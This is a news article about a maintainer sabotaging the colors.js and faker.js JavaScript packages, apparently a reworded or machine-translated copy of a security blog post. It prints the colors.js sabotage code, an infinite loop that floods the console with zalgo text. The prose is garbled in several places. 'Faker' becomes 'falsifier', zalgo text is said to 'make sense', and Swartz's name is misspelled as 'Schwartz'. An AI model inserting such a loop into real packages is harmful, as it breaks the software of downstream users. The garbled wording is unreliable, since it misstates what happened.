You’ve probably seen the news, even if you’re not sure what happened.
Unless you are a JavaScript programmer and rely on one or both of a pair of modules called faker.js and colors.js.
If you were a user of one of these projects, and if you were (or were!) Inclined to automatically accept all updates to your source code without any kind of code review or testing …
… You are probably well aware of what exactly happened and how it affected you.
Supply chain attacks
Longtime readers of Naked Security will be familiar with the problem of so-called supply chain attacks in open source software libraries because we’ve written about this kind of problem in programming ecosystems before.
We have written about the security holes that suddenly appear in many coding communities, including PHP programmers, Pythonistas, Ruby users, and NPM fans.
Last year, we even had reason to debate the morality of self-proclaimed academic researchers who deliberately used the Linux kernel source code repository as a testing ground for what they shamelessly called. the hypocrite commits.
Software supply chain attacks typically involve poisoned, dangerous, or deliberately altered content that indirectly infects your network or development team, unlike direct hacking where attackers enter your network and launch a frontal assault.
Supply chain attacks are often passed on completely unintentionally by one of your product and service providers, who may themselves have ingested someone’s unauthorized changes upstream, and so on.
LEARN MORE ABOUT SUPPLY CHAIN ATTACKS
Click and drag on the sound waves below to jump to any point in the podcast.
You can also listen directly on Soundcloud, or read a full transcript.
unethical, maybe, but sometimes not criminal
As we mentioned above, however, supply chain problems like this don’t always stem from criminal intent, even though they may ultimately be found to be unethical (or childish, or poorly thought out, or any combination thereof).
We’ve already mentioned the hypocritical commits, which were meant to remind us all that it’s possible to inject malicious backdoor code under the guise of two or more changes that don’t introduce security holes on their own. , but create vulnerability when combined. .
And we linked to the story of a “researcher” who was so keen on reminding us how easy it is to create treacherous software that he deliberately downloaded nearly 4000 of it in a sustained outburst of “utility.” “.
As we suggested at the time, these two “experts” – the hypocrites and the overloader – seem to have adopted the selfish motto that a worthwhile job is worth doing. overdo it…
… Thus creating enormous amounts of unnecessary work for other innocent volunteers in the Linux and Python communities respectively.
Colors and Faker go rogue
This time the founder of two popular JavaScript coding modules known as colors.js and faker.js threw two slightly different keys in the works.
Colors is a small, simple toolkit that helps you add colorful text to your console output, often to make information more interesting to watch and easier to read.
For example, when we recently made our Log4Shell – The Movie video, we added a splash of color to the output of our simulated LDAP server to make it easier to track incoming requests, using ANSI check sequences in the terminal output. to add green and red marks to indicate successes and failures:
Unfortunately for colors.js users, the founder of the project, after not releasing any updates since 2019, suddenly added a new code to take over the version number of 1.4.0 to the somewhat unusual version identifier of 1.4.4-liberty-2.
Fed up, apparently, of never getting the financial recognition he thought he deserved from the many people who used his work, the founder trashed his own code by adding an infinite loop like this:
/* remove this line after testing */
let am = require('../lib/custom/american');
am();
for (let i = 666; i < Infinity; i++) {
if (i % 333) {
// console.log('testing'.zalgo.rainbow)
}
console.log('testing testing testing testing testing testing testing'.zalgo)
}
The loop at the end of this code prints the text testing testing ... testing over and over again, after applying a function called zalgo to that.
Zalgoization
Zalgoization, if you’ve never heard of it, is a way to make ordinary Roman type weird and meaningless by littering it with accents, cedillas, umlauts, and other so-called diacritics – a bit like naming your group Motörhead in the place of Motor head, but without the constraint of simply adding a single additional symbol.
Zalgoed text not only makes sense, but also often puts a heavy load on the underlying text rendering software that tries to compose and present it for display.
A human calligrapher would hesitate to be asked to add all possible accents to every letter of a word, knowing that it would make no sense.
But a computerized composer will just try to oblige by combining all the markings you ask for, giving your group Zalgometal a stylized name something like this:
A memorial to Aaron Schwartz
falsifier users experienced a different type of update, with the project essentially being wiped out and replaced with a README requesting file “What really happened with Aaron Swartz? “
Schwartz, a “hacktivist” accused of federal offenses relating to unauthorized access to academic documents which he believes should not be kept behind a pay wall, sadly committed suicide under the stress of awaiting trial .
and the README in memory of Aaron Schwartz.
Faker was a handy developer toolkit that made it easy to generate large amounts of realistic but invented data for quality assurance, such as creating 100,000 names and addresses that you could add to your user database. during development.
Fake data is a critical aspect of avoiding a privacy disaster while you’re still working with incomplete, untested code, because it means you’re not exposing genuine and sensitive data in a thoughtless (and possibly illegal) way.
The author of Faker apparently attempted to market the project in 2021, but without success, so it looks like he has now received the sound code coup de grace.
Since the code has been released for many years under the MIT license – which basically means anyone can use it for free, even in commercial closed-source products, as long as they don’t claim to have it. created itself – there is nothing preventing existing users from continuing with the previous version, or even any earlier version.
They can even make their own changes and improvements as they see fit …
… It is therefore not clear what the end result of such spectacular destruction of the project will be for the author, given that he cannot retrospectively rewrite the licenses of the users who have already downloaded and deployed it.
Does anyone win or do we all lose?
Like a aggrieved commentator said (someone who presumably put the update into production without examining what had changed and suffered a temporary outage as a result), it didn’t end really well for anyone:
Isn’t it interesting that it’s the people with no reputation who seem to think that reputation has no value? To everyone in this room who says “we have learned a valuable lesson about confidence in free software”; understand that …
To cause me 15 minutes of grief, all Marak had to do was irreversibly destroy his own reputation.
Which side are you on in a matter like this? Let us know in the comments below…
